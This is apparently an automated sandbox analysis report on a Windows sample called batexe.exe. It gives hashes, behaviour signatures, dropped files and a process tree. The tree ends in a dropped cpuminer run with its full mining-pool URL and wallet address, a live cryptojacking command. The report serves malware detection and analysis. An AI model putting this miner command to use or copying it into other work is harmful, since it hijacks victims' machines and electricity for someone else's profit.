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Analysis

  • max time kernel
    301s
  • max time network
    305s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    18/02/2024, 15:03

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:752
    • C:\Users\Admin\AppData\Local\Temp\69F0.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\69F0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\69F0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3792
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\76D1.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4732
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\69F0.tmp\b2e.exe

    Filesize

    1.3MB

    MD5

    100ac625e11290aa700e36523f1c8197

    SHA1

    80637ea3c44210aa5b2e66ad27130fa9a18187f1

    SHA256

    d392bd95a7d5712876026214112aae5639db4da399c69aabf1adfe85166d1e35

    SHA512

    213b087b6d5534ccc1f4c6f6c3fcec77ff0cde08ded6e14c459b7474978ed428684d329e5638ca3e3fae79b430fb9f90e07dcb681fd70c517b4c83b0ac6aa4d5

  • C:\Users\Admin\AppData\Local\Temp\69F0.tmp\b2e.exe

    Filesize

    1.3MB

    MD5

    e98c022461438f6387b2aa2807aa87b1

    SHA1

    689ed645f87d9c3f43d84e7d3f1a70d557988c4f

    SHA256

    860b97128c5d8a682daf7b89e54d70b0b6d1e433c3d160d86169a17468a049aa

    SHA512

    7fa55a1bf552c9f58f6c1c6664958b3a446eb0867120332049017be57baf2daf1eb2f55e3ba185efe0847856ebc8862dc18984af67be2fe372f8eb248346eba1

  • C:\Users\Admin\AppData\Local\Temp\69F0.tmp\b2e.exe

    Filesize

    1.2MB

    MD5

    d5c3cd4b023d479e4c2749b1d3ed17ab

    SHA1

    feb3f62d6145a8b1365da51097f23ae5718b2f76

    SHA256

    b2a407a4b225354fb5fd1ba77a6a3fd812cc986382f3dade6ab01cd9b235bb92

    SHA512

    dc3047c187dda8372ebd0e1fe93d7b5c612d64944cfdbacc8eb0c176bdc749dba8925d2c72e3595f5ee43fe8f3381bdefc7c2f71eccd6324ddea45e1e8d23c76

  • C:\Users\Admin\AppData\Local\Temp\76D1.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    425KB

    MD5

    2ed4e2222b4e291930f1140dc3e18ceb

    SHA1

    bdf2793ee60edc07ad52c9fdba52af94bec2d0b2

    SHA256

    c23a712a35b802395c65a36609be49e340eba36e854f0f2f7d6abaa13ca9a412

    SHA512

    d41203dc50b76cf3c878ba4cad21e7f464cf6c7f8a4478b12081e167437b1d080c404275bd0c382effc6d391ac23a35d6f0730f7f51dd393f635c1ae3d7765ba

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    201KB

    MD5

    21494834a09c46ae9c353e07db988e7c

    SHA1

    9545b9ac0fea671448eefeefb2b0f7d03f0c0044

    SHA256

    80f4471f8cc4fd299e67e1e0827b6150416fdd351c8acb1afa9189f81ca4c7ef

    SHA512

    a7903694af96c1481bbae2db318957e090cc1ec5d4123c88ddcbc40eaf2765a858a934d8e81c0b74bdd5be177bb7fc7eb8af48ef8d2a5a496f6f1c7838390b9f

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    294KB

    MD5

    1772c6737143f56d6d8cfbf50b65a3f4

    SHA1

    f2c7e9fa1a9ed34c09ee5e225bdebb68b6749446

    SHA256

    84740f510dc204f2684ed7c5d15f407dfb53f47ca6cc47dc53d07835bea2469b

    SHA512

    6345b944ba90828c98e61cb1cef70617dfa457597ea4414c2605eb3e14987efa0db32b7463471bd0277fd5a0d79071a4766c3de207580ce3b11e70887988024b

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    202KB

    MD5

    b476dc01e7f31d51b1d706eec6a805d4

    SHA1

    e3e98c9e89dfc5231a7317e53c2549c1cf50efaa

    SHA256

    5d006e8ceb4dbcb9760f4d4a15165ecb42f786c930177d463cfb9900a5d342b0

    SHA512

    c537ee2c10137354b297447be47960fb7825d84d857520bc3a67559e8e1f40b120d0d92289975c5272c4025810b7b9cbf962c0eb340797a3518897b48eca41f2

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    98KB

    MD5

    f69d2a889eb725b62645e4a2f33d2bbb

    SHA1

    02edf67ea9f781125ac7f9de25475e2e4e4ca45f

    SHA256

    cf28bb41f75b521a5d0c8799b9c8313b37f4efbd0e0a015dd6a568d9e37c8756

    SHA512

    7aa39fb984d34b13e33ffe2ec7043b39d2ca8ee3ef87a7c0d8e268ebe51f533ea5cb44364e2b907c2281910e3b43831f6aa278180e5b900233fc929d4b891ea7

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    268KB

    MD5

    172514e0d9fa7d1e7300f7a8f4da61d2

    SHA1

    537a8a78456465e56b72abfe16609bbb3a119c63

    SHA256

    73f3e759456aba9ce62fa589b729f7c803b52b92e5bba3a557c7160496db5a54

    SHA512

    03934ef030e1b6990cfdc7404b72d6142df16f616968969b2272d32d5354d63e91b626b83eac4bdf180cc40392ae2253a9a408fc46aac539d76012b777067374

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    63KB

    MD5

    a59cb5870a566762bc505e7e5a750120

    SHA1

    94ce768e3e25940b73f367ad8a59616de933d20b

    SHA256

    c49f2ca8f990f70fd6a4b6ad3aafa14212d137377697ce7fbb0566338b940c09

    SHA512

    c862264ae89932ab17217ef2d324723286d7b29283da26230c9a13cec6ff96ceb5f11bae6fecd8b190fe51f9fec2d957c9e99679e9afef39d9f310bcbdd651f4

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    481KB

    MD5

    750bfa7b1ddc0e735629029cc05bf129

    SHA1

    5e278bf4340d79bec7e5025d0351a501a43a6f68

    SHA256

    e4533cca79ed5400cff0ec2892c507092907af35cc4822cfa810698c080e642c

    SHA512

    b9d7431a001e6f5c1257f121e8292206ca2eac84e7a95c59fb51a40808a89f38757dab92d5e37e40faa6cdf9450709f77710963677ea3832d41fa3cba489a9ef

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    347KB

    MD5

    b7be11d9c998d16a4806f9a58524f776

    SHA1

    56d4e4ef6819004b7543f7a019b5a1399eed9985

    SHA256

    3ef6ac2fcb287e563fc35d5b9ed5b7286d3fbba30dcfc5b1e306990892a96b81

    SHA512

    244e19e93c22b57ed05a715e876aead69c25acd358609071907688a869a85889652a3f980b5b307835caca9ab83ab691a531f0147885863ca5d7fafc532c81cd

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    163KB

    MD5

    e9210f1de0999861028ba230aad00ac5

    SHA1

    822a825105972dd6da362b3680d8a0ddc0c37df3

    SHA256

    d916d1ffcf0f062f24ddcdee4963c1d475ce6a0121653579b4086e3a8c9d6853

    SHA512

    0bdbe75bf090811ea44dccca64037ec02d353f62ef36ecd9eccc329c35413542509e60b2b77abbf72e079eef7183b7e72bcd0cd944d89ab1cbec6917282fd567

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    86KB

    MD5

    695174af71a9b53a59767587f5472df8

    SHA1

    ba51458437bfc4852ff60b133d24401c95666399

    SHA256

    6970c1eab3cda70af50ac1542f5661657e2cf2d72fe4cf4f0399cec074c3cf07

    SHA512

    6b166f9f611f4c5941da93a1113660d817a7add4b32d1c2657f80bf63493ffa1f97ccf798ab92b63df8a7e07ad535e1d2d05b45a128300781c1246aea8716c6f

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    48KB

    MD5

    1ab869e94a2b52cd88e8efcf19da2a97

    SHA1

    bc129c4caff8f6ffb945d2d37e26e71cef1424f4

    SHA256

    79e797cc482c9e5e6345b7b6f90accaf61c8dcba516d318ead88e36e2d0f1dd0

    SHA512

    4fded7e4803ec8a7d436661a23b4177a7daff6d6bcb7c32ca99003551dc2c432e96fb5dd7c57373ad289301de73680e7b5b7e150dce77d109bec378bc7e08a4b

  • memory/752-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/2672-48-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/2672-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2672-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2672-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

    Filesize

    24.7MB

  • memory/2672-47-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/2672-42-0x0000000000870000-0x000000000092C000-memory.dmp

    Filesize

    752KB

  • memory/2672-49-0x0000000051D90000-0x0000000051E28000-memory.dmp

    Filesize

    608KB

  • memory/2672-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2672-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2672-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2672-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/2672-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3792-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3792-55-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB